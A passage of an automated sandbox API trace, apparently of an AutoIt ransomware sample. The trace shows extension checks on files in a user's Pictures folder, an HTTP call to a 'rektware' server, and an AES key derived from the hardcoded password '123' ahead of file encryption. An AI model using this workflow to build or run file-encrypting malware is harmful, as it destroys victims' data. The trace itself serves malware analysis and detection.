cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.032] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="gaoDjGIW7\\eAGTqd14I1qZAkWQA.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.032] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="aoDjGIW7\\eAGTqd14I1qZAkWQA.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.032] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="oDjGIW7\\eAGTqd14I1qZAkWQA.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.032] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DjGIW7\\eAGTqd14I1qZAkWQA.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.032] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jGIW7\\eAGTqd14I1qZAkWQA.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.032] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GIW7\\eAGTqd14I1qZAkWQA.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.032] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IW7\\eAGTqd14I1qZAkWQA.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.032] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="W7\\eAGTqd14I1qZAkWQA.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.032] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="7\\eAGTqd14I1qZAkWQA.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.032] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\eAGTqd14I1qZAkWQA.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.032] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="eAGTqd14I1qZAkWQA.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.032] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="AGTqd14I1qZAkWQA.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.032] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GTqd14I1qZAkWQA.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.032] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Tqd14I1qZAkWQA.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.033] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="qd14I1qZAkWQA.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.033] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="d14I1qZAkWQA.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.033] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="14I1qZAkWQA.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.033] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="4I1qZAkWQA.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.033] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="I1qZAkWQA.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.033] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1qZAkWQA.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.033] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="qZAkWQA.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.033] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ZAkWQA.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.033] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="AkWQA.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.033] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="kWQA.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.033] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="WQA.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.033] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="QA.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.033] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.033] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0062.033] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.033] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0062.033] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0062.033] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0062.033] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0062.033] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0062.033] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0062.033] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0062.033] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0062.033] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620f58, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620f58, lpdwBufferLength=0x130ee1c) returned 1 [0062.034] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0062.034] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0062.034] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0062.034] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0062.034] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0062.034] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0062.034] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629320, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629320*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0062.034] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16293a0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16293a0*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0062.035] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0062.035] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0062.035] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0062.035] CloseHandle (hObject=0x0) returned 0 [0062.035] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.035] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\eAGTqd14I1qZAkWQA.bmp", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0062.035] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0062.035] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.035] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0062.035] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.035] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0062.036] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0062.036] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.036] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0062.036] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.036] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.036] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0062.036] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0062.036] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0062.036] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.083] NtdllDefWindowProc_W (hWnd=0x70084, Msg=0x1a, wParam=0x0, lParam=0xf2e1a8) returned 0x0 [0062.084] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.151] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.155] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0062.156] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.158] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0062.159] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0062.160] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0062.162] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0062.164] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e1b0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0062.164] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0062.165] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aa890) returned 1 [0062.166] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.167] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.167] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0062.168] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0062.168] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0062.169] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.169] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.170] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.170] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0062.170] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0062.170] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0062.171] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.171] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.171] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.171] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.171] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0062.171] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.172] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.172] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0062.172] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.172] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0062.172] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0062.172] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.172] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.172] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0062.172] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0062.172] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0062.172] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.172] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.172] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.173] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.173] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0062.173] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0062.173] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0062.173] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.173] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0062.173] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621468, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0062.173] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0062.173] CryptCreateHash (in: hProv=0x17aa890, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0062.173] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.173] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.173] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.173] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0062.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16293d0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0062.174] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0062.174] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0062.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16294f0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0062.175] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.175] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.175] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0062.175] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.175] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0062.175] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621768, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0062.175] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0062.175] CryptHashData (hHash=0x164c830, pbData=0x16294b0, dwDataLen=0x3, dwFlags=0x1) returned 1 [0062.175] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.175] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.175] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.175] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.175] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0062.176] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0062.176] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0062.176] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.176] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0062.176] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621798, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0062.176] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0062.176] CryptDeriveKey (in: hProv=0x17aa890, Algid=0x6610, hBaseData=0x164c830, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c7f0) returned 1 [0062.176] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.176] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.176] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.176] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.176] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.176] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.177] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0062.177] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.177] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0062.177] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, 